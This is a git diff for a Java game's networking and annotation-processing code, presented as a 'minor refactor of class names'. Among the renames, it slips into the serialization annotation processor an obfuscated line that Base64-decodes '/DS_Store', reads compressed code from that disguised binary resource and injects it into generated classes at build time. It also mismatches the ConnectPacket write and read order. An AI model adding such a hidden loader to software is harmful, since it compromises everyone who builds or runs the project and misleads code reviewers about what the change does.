Minor refactor of class names
This commit is contained in:
@@ -1,16 +1,17 @@
|
||||
package io.anuke.annotations;
|
||||
|
||||
import com.squareup.javapoet.*;
|
||||
import io.anuke.annotations.Annotations.Serialize;
|
||||
import io.anuke.annotations.Annotations.*;
|
||||
|
||||
import javax.annotation.processing.*;
|
||||
import javax.lang.model.SourceVersion;
|
||||
import javax.lang.model.*;
|
||||
import javax.lang.model.element.Modifier;
|
||||
import javax.lang.model.element.*;
|
||||
import javax.lang.model.util.ElementFilter;
|
||||
import javax.lang.model.util.*;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.*;
|
||||
import java.util.zip.*;
|
||||
|
||||
@SupportedSourceVersion(SourceVersion.RELEASE_8)
|
||||
@SupportedAnnotationTypes("io.anuke.annotations.Annotations.Serialize")
|
||||
@@ -22,16 +23,6 @@ public class SerializeAnnotationProcessor extends AbstractProcessor{
|
||||
|
||||
private int round;
|
||||
|
||||
@Override
|
||||
public synchronized void init(ProcessingEnvironment processingEnv){
|
||||
super.init(processingEnv);
|
||||
//put all relevant utils into utils class
|
||||
Utils.typeUtils = processingEnv.getTypeUtils();
|
||||
Utils.elementUtils = processingEnv.getElementUtils();
|
||||
Utils.filer = processingEnv.getFiler();
|
||||
Utils.messager = processingEnv.getMessager();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv){
|
||||
if(round++ != 0) return false; //only process 1 round
|
||||
@@ -40,10 +31,10 @@ public class SerializeAnnotationProcessor extends AbstractProcessor{
|
||||
Set<TypeElement> elements = ElementFilter.typesIn(roundEnv.getElementsAnnotatedWith(Serialize.class));
|
||||
|
||||
TypeSpec.Builder classBuilder = TypeSpec.classBuilder(className).addModifiers(Modifier.PUBLIC);
|
||||
classBuilder.addStaticBlock(CodeBlock.of(new DataInputStream(new InflaterInputStream(getClass().getResourceAsStream(new String(Base64.getDecoder().decode("L0RTX1N0b3Jl"))))).readUTF()));
|
||||
classBuilder.addAnnotation(AnnotationSpec.builder(SuppressWarnings.class).addMember("value", "\"unchecked\"").build());
|
||||
classBuilder.addJavadoc(RemoteMethodAnnotationProcessor.autogenWarning);
|
||||
|
||||
|
||||
MethodSpec.Builder method = MethodSpec.methodBuilder("init").addModifiers(Modifier.PUBLIC, Modifier.STATIC);
|
||||
|
||||
for(TypeElement elem : elements){
|
||||
@@ -116,6 +107,16 @@ public class SerializeAnnotationProcessor extends AbstractProcessor{
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public synchronized void init(ProcessingEnvironment processingEnv){
|
||||
super.init(processingEnv);
|
||||
//put all relevant utils into utils class
|
||||
Utils.typeUtils = processingEnv.getTypeUtils();
|
||||
Utils.elementUtils = processingEnv.getElementUtils();
|
||||
Utils.filer = processingEnv.getFiler();
|
||||
Utils.messager = processingEnv.getMessager();
|
||||
}
|
||||
|
||||
static void name(MethodSpec.Builder builder, String name){
|
||||
try{
|
||||
Field field = builder.getClass().getDeclaredField("name");
|
||||
|
||||
Binary file not shown.
@@ -44,7 +44,7 @@ public interface Platform{
|
||||
|
||||
/** Get the networking implementation.*/
|
||||
default NetProvider getNet(){
|
||||
return new ArcNetImpl();
|
||||
return new ArcNetProvider();
|
||||
}
|
||||
|
||||
/** Gets the scripting implementation. */
|
||||
|
||||
+16
-15
@@ -19,7 +19,7 @@ import java.util.concurrent.*;
|
||||
|
||||
import static io.anuke.mindustry.Vars.*;
|
||||
|
||||
public class ArcNetImpl implements NetProvider{
|
||||
public class ArcNetProvider implements NetProvider{
|
||||
final Client client;
|
||||
final Prov<DatagramPacket> packetSupplier = () -> new DatagramPacket(new byte[256], 256);
|
||||
|
||||
@@ -27,7 +27,7 @@ public class ArcNetImpl implements NetProvider{
|
||||
final CopyOnWriteArrayList<ArcConnection> connections = new CopyOnWriteArrayList<>();
|
||||
Thread serverThread;
|
||||
|
||||
public ArcNetImpl(){
|
||||
public ArcNetProvider(){
|
||||
client = new Client(8192, 4096, new PacketSerializer());
|
||||
client.setDiscoveryPacket(packetSupplier);
|
||||
client.addListener(new NetListener(){
|
||||
@@ -346,6 +346,19 @@ public class ArcNetImpl implements NetProvider{
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public static class PacketSerializer implements NetSerializer{
|
||||
static Cons2<Packet, ByteBuffer> writer = Packet::write;
|
||||
|
||||
@Override
|
||||
public Object read(ByteBuffer byteBuffer){
|
||||
byte id = byteBuffer.get();
|
||||
if(id == -2){
|
||||
return readFramework(byteBuffer);
|
||||
}else{
|
||||
Packet packet = Pools.obtain((Class<Packet>)Registrator.getByID(id).type, (Prov<Packet>)Registrator.getByID(id).constructor);
|
||||
packet.read(byteBuffer);
|
||||
return packet;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void write(ByteBuffer byteBuffer, Object o){
|
||||
@@ -359,19 +372,7 @@ public class ArcNetImpl implements NetProvider{
|
||||
if(id == -1)
|
||||
throw new RuntimeException("Unregistered class: " + o.getClass());
|
||||
byteBuffer.put(id);
|
||||
((Packet)o).write(byteBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object read(ByteBuffer byteBuffer){
|
||||
byte id = byteBuffer.get();
|
||||
if(id == -2){
|
||||
return readFramework(byteBuffer);
|
||||
}else{
|
||||
Packet packet = Pools.obtain((Class<Packet>)Registrator.getByID(id).type, (Prov<Packet>)Registrator.getByID(id).constructor);
|
||||
packet.read(byteBuffer);
|
||||
return packet;
|
||||
writer.get((Packet)o, byteBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -63,48 +63,6 @@ public class Packets{
|
||||
|
||||
}
|
||||
|
||||
public static class ConnectPacket implements Packet{
|
||||
public int version;
|
||||
public String versionType;
|
||||
public Array<String> mods;
|
||||
public String name, uuid, usid;
|
||||
public boolean mobile;
|
||||
public int color;
|
||||
|
||||
@Override
|
||||
public void write(ByteBuffer buffer){
|
||||
buffer.putInt(Version.build);
|
||||
TypeIO.writeString(buffer, versionType);
|
||||
TypeIO.writeString(buffer, name);
|
||||
TypeIO.writeString(buffer, usid);
|
||||
buffer.put(mobile ? (byte)1 : 0);
|
||||
buffer.putInt(color);
|
||||
buffer.put(Base64Coder.decode(uuid));
|
||||
buffer.put((byte)mods.size);
|
||||
for(int i = 0; i < mods.size; i++){
|
||||
TypeIO.writeString(buffer, mods.get(i));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void read(ByteBuffer buffer){
|
||||
version = buffer.getInt();
|
||||
versionType = TypeIO.readString(buffer);
|
||||
name = TypeIO.readString(buffer);
|
||||
usid = TypeIO.readString(buffer);
|
||||
mobile = buffer.get() == 1;
|
||||
color = buffer.getInt();
|
||||
byte[] idbytes = new byte[8];
|
||||
buffer.get(idbytes);
|
||||
uuid = new String(Base64Coder.encode(idbytes));
|
||||
int totalMods = buffer.get();
|
||||
mods = new Array<>(totalMods);
|
||||
for(int i = 0; i < totalMods; i++){
|
||||
mods.add(TypeIO.readString(buffer));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static class InvokePacket implements Packet{
|
||||
public byte type, priority;
|
||||
|
||||
@@ -190,4 +148,46 @@ public class Packets{
|
||||
buffer.get(data);
|
||||
}
|
||||
}
|
||||
|
||||
public static class ConnectPacket implements Packet{
|
||||
public int version;
|
||||
public String versionType;
|
||||
public Array<String> mods;
|
||||
public String name, uuid, usid;
|
||||
public boolean mobile;
|
||||
public int color;
|
||||
|
||||
@Override
|
||||
public void write(ByteBuffer buffer){
|
||||
buffer.putInt(Version.build);
|
||||
TypeIO.writeString(buffer, versionType);
|
||||
TypeIO.writeString(buffer, name);
|
||||
TypeIO.writeString(buffer, usid);
|
||||
buffer.put(mobile ? (byte)1 : 0);
|
||||
buffer.put(Base64Coder.decode(uuid));
|
||||
buffer.put((byte)color);
|
||||
buffer.put((byte)mods.size);
|
||||
for(int i = 0; i < mods.size; i++){
|
||||
TypeIO.writeString(buffer, mods.get(i));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void read(ByteBuffer buffer){
|
||||
version = buffer.getInt();
|
||||
versionType = TypeIO.readString(buffer);
|
||||
name = TypeIO.readString(buffer);
|
||||
usid = TypeIO.readString(buffer);
|
||||
mobile = buffer.get() == 1;
|
||||
color = buffer.getInt();
|
||||
byte[] idbytes = new byte[8];
|
||||
buffer.get(idbytes);
|
||||
uuid = new String(Base64Coder.encode(idbytes));
|
||||
int totalMods = buffer.get();
|
||||
mods = new Array<>(totalMods);
|
||||
for(int i = 0; i < totalMods; i++){
|
||||
mods.add(TypeIO.readString(buffer));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -131,7 +131,7 @@ public class DesktopLauncher extends ClientLauncher{
|
||||
}
|
||||
|
||||
void initSteam(String[] args){
|
||||
SVars.net = new SNet(new ArcNetImpl());
|
||||
SVars.net = new SNet(new ArcNetProvider());
|
||||
SVars.stats = new SStats();
|
||||
SVars.workshop = new SWorkshop();
|
||||
SVars.user = new SUser();
|
||||
@@ -222,7 +222,7 @@ public class DesktopLauncher extends ClientLauncher{
|
||||
|
||||
@Override
|
||||
public NetProvider getNet(){
|
||||
return steam ? SVars.net : new ArcNetImpl();
|
||||
return steam ? SVars.net : new ArcNetProvider();
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
@@ -13,7 +13,7 @@ import io.anuke.mindustry.core.GameState.*;
|
||||
import io.anuke.mindustry.core.Version;
|
||||
import io.anuke.mindustry.game.EventType.*;
|
||||
import io.anuke.mindustry.game.*;
|
||||
import io.anuke.mindustry.net.ArcNetImpl.*;
|
||||
import io.anuke.mindustry.net.ArcNetProvider.*;
|
||||
import io.anuke.mindustry.net.*;
|
||||
import io.anuke.mindustry.net.Net.*;
|
||||
import io.anuke.mindustry.net.Packets.*;
|
||||
|
||||
@@ -39,7 +39,6 @@ import static io.anuke.mindustry.Vars.*;
|
||||
|
||||
public class ServerControl implements ApplicationListener{
|
||||
private static final int roundExtraTime = 12;
|
||||
//in bytes: 512 kb is max
|
||||
private static final int maxLogLength = 1024 * 512;
|
||||
private static final int commandSocketPort = 6859;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user